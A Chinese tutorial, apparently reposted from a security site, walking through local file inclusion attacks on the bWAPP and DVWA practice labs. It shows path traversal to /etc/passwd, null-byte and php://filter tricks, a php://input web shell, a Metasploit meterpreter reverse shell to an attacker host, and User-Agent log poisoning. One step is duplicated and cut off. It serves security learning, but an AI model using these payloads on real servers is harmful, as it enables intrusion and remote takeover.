五种利用本地包含漏洞的方式

简介: 本文讲的是五种利用本地包含漏洞的方式,本地文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用内部定义的函数。
本文讲的是 五种利用本地包含漏洞的方式本地文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用内部定义的函数。

本地包含漏洞是PHP中一种典型的高危漏洞。由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使web server会将特定文件当成php执行,从而导致用户可获取一定的服务器权限。

本篇文章的主要目的是分享在服务器上使用各种技术攻击一个Web服务器的想法,当服务器遭受文件包含漏洞时,用户会通过URL在浏览器中包括一个文件。在本文中,作者将使用了两个不同的平台bWAPP(一款非常好用的漏洞演示平台,集成了各种常见漏洞和最新漏洞的开源Web应用程序,目的是帮助网络安全爱好者、开发人员和学生发现并防止网络漏洞)和DVWA(dema vulnerable web application,是一个基于PHP/MYSQL环境写的一个web应用,主要目的是帮助安全专业员在合法的环境里面去测试他们的技术和工具),其中包含文件包含漏洞,然后以四种不同的方式执行LFI攻击。

基本本地文件包含

在浏览器中打开目标IP,并在BWAPP内登录为bee:bug,然后就可以选择remote & local file Inclusion,然后点击hack。

五种利用本地包含漏洞的方式

这时,所请求的具有RFI和LFI漏洞的网页就会被打开。你将在给定的下拉列表中找到用于选择语言的注释,当你单击go按钮时,所选的语言文件将包含在URL中。这时基本攻击操作便会执行。

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd

在基本的LFI攻击中,我们可以使用(../)或简单地(/)从目录中直接读取文件的内容,现在如果你注意到下面的截图,你会发现有浏览器中正在执行访问密码文件URL。

五种利用本地包含漏洞的方式

空字符注入

在一些情况下,由于高安全级别,上述所讲的基本本地文件包含攻击可能起不到攻击效果。从下面的图中,大家可以观察到,当在URL中执行相同的路径时,是无法读取密码文件的。所以当我们面对这样的问题,就要采用空字符注入攻击了。

现在打开Burp Suite(是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程)来捕获浏览器中的请求,然后选择proxy tab并开始intercept,不过不要忘记在使用Burp Suite时设置browser proxy  

五种利用本地包含漏洞的方式

Burp支持手动的Web应用程序测试的活动。它可以让你有效地结合手动和自动化技术,使你可以完全控制所有的BurpSuite执行的行动,并提供有关你所测试的应用程序的详细信息和分析。 让我们一起来看看Burp Suite的测试流程过程吧。 如下图

五种利用本地包含漏洞的方式

现在内部BurpSuite会将拦截的数据发送到中继器。

五种利用本地包含漏洞的方式

存在于其中面的中继器你可以做发送的请求和响应生成的分析。从一下屏幕的截图中,我们可以清楚的发现, / etc / passwd是不工作,所以我们无法读取密码文件。

五种利用本地包含漏洞的方式

从以下截图中,可以看到我们已经通过在/ etc / passwd%00目录的末尾添加空了字符(%00)来转发请求,单击go运行之后,然后在窗口的右视图上,密码文件作为响应就被打开。

五种利用本地包含漏洞的方式

Base64编码

现在用另一种方法来利用LFI时,当安全级别很高时,并且无法查看PHP文件内容时,可以使用以下PHP函数。

http://192.168.1.101/bWAPP/rlfi.php?language= php://filter/read=convert.base64-encode/resource=/etc/passwd

从下面的截图你可以看到密码文件的内容编码为base64,然后复制整个编码文本。

五种利用本地包含漏洞的方式

比如本文的作者使用的就是hackbar(firefox浏览器上的一个插件)解码上面复制的文本。

五种利用本地包含漏洞的方式

现在会有一个弹出框被打开,然后复制编码文本,并单击OK

五种利用本地包含漏洞的方式

从以下的屏幕截图中,你可以查看结果并读取密码文件的内容。

五种利用本地包含漏洞的方式

PHP输入

使用PHP输入函数,我们将执行注入的PHP代码来利用LFI漏洞。在hackbar的帮助下,就可以开始执行这个任务了,首先,我们需要加载目标网页的URL,如下方的屏幕截图所示。

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go

五种利用本地包含漏洞的方式

现在使用PHP输入函数,操作上面的URL 

http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls

然后选中复选框的enable Post data ,

,它将转发发布请求并在给定文本区域中添加cmd注释<?php system($ _ GET ['cmd']); ?>如下图所示,最后点击execute。然后被攻击者的PC目录就显示了出来。

五种利用本地包含漏洞的方式

现在就可以通过反向连接连接受害者;在kali Linux(基于Debian的Linux发行版, 设计用于数字取证和渗透测试)中打开终端并键入msfconsole启动metasploit框架。

现在键入use exploit / multi / script / web_delivery

msf exploit(web_delivery)>set target 1
msf exploit(web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit(web_delivery)> set lhost 192.168.0.104
msf exploit(web_delivery)> set srvport 8081
msf exploit(web_delivery)> exploit

然后复制下面窗口红色字体的文本

五种利用本地包含漏洞的方式

将上面复制的PHP代码粘贴到URL中,如图所示,并执行它。

五种利用本地包含漏洞的方式

当执行上面的URL时,攻击者就会在metasploit中获得受害者的meterpreter通信记录。

msf exploit(web_delivery)> session -I 1
meterpreter> sysinfo

五种利用本地包含漏洞的方式

Proc / self / environ

如果服务器已过响应时间,还可以通过LFI重新利用,包括存储在User_Agent的/proc/self/environ文件,我们将把我们的PHP代码放置其中用于执行CMD命令。

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ

五种利用本地包含漏洞的方式

现在启动burp suite 并捕获浏览器的请求,就能获取发送到中继器的数据。

五种利用本地包含漏洞的方式

在user_Agent内,添加cmd注释<?php system($ _ GET ['cmd']); ?>,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求,如下图所示。在窗口的右侧,你就可以看到hig

添加cmd注释<?php system($ _ GET ['cmd']); ?>在user_Agent内,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求,如下图所示。 在窗口的右侧,你可以看到有闪亮的字体,这代表出现了相应的响应。

五种利用本地包含漏洞的方式




原文发布时间为:2017年2月18日
本文作者:xiaohui 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
打赏
0
0
0
0
26198
分享
相关文章
独立部署Xray反练平台——详细说明加举例xxe漏洞
xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:检测速度快。发包速度快; 漏洞检测算法高效。支持范围广。大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码可靠性。高级可定制。通过配置文件暴露了引擎的各种参数,通过修改配置文件可以极大的客制化功能。安全无威胁。xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有 payload 和 poc 均为无害化检查。
1681 0
独立部署Xray反练平台——详细说明加举例xxe漏洞
Web安全-任意文件下载漏洞
Web安全-任意文件下载漏洞
230 5
明御安全网关任意文件上传漏洞
安恒信息明御安全网关(以下简称“NGFW”)秉持安全可视、简单有效的理念,以资产为视角,构建“事前+事中+事后”全流程防御的下一代安全防护体系,并融合传统防火墙、入侵防御系统、防病毒网关、上网行为管控、VPN网关、威胁情报等安全模块于一体的智慧化安全网关。
246 1
35、本地文件包含漏洞
35、本地文件包含漏洞
103 0
35、本地文件包含漏洞
CVE-2020-8209 XenMobile 控制台存在任意文件读取漏洞
XenMobile提供了一种可靠的移动设备管理解决方案,可以对企业设备和员工个人设备进行基于角色的管理、配置和支持并确保安全性。与只能提供基本设备管理软件的大多数厂商不同,XenMobile可提供多种高级功能和特性来确保移动应用可随时用于业务目的并确保移动内容安全性,如区域防护(geo-fencing)、自动化合规性及一键式实时聊天和支持等。
113 0
CVE-2020-8209 XenMobile 控制台存在任意文件读取漏洞
ctfshow-萌新-web3( 利用intval函数的特性配合联合注入获取网站敏感信息)
ctf.show 萌新模块 web3关,此关卡考察的是 intval()函数的特性,以及SQL注入漏洞的利用;首先需要利用 intval()转换字符串的特性绕过校验,而后利用联合注入获取数据库中的敏感信息,从而获取flag,源码中过滤了or,加减乘除(+-*/),hex,!等关键字,这里推荐使用联合注入
577 0
ctfshow-萌新-web3( 利用intval函数的特性配合联合注入获取网站敏感信息)
WordPress安全漏洞:从任意文件删除到任意代码执行
  WordPress安全漏洞:从任意文件删除到任意代码执行   WordPress是网络上最受欢迎的CMS系统。据w3tech统计,约有30%的网站运行了该系统。该系统的应用是如此广泛,难免会成为网络犯罪分子攻击目标。
642 0
AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等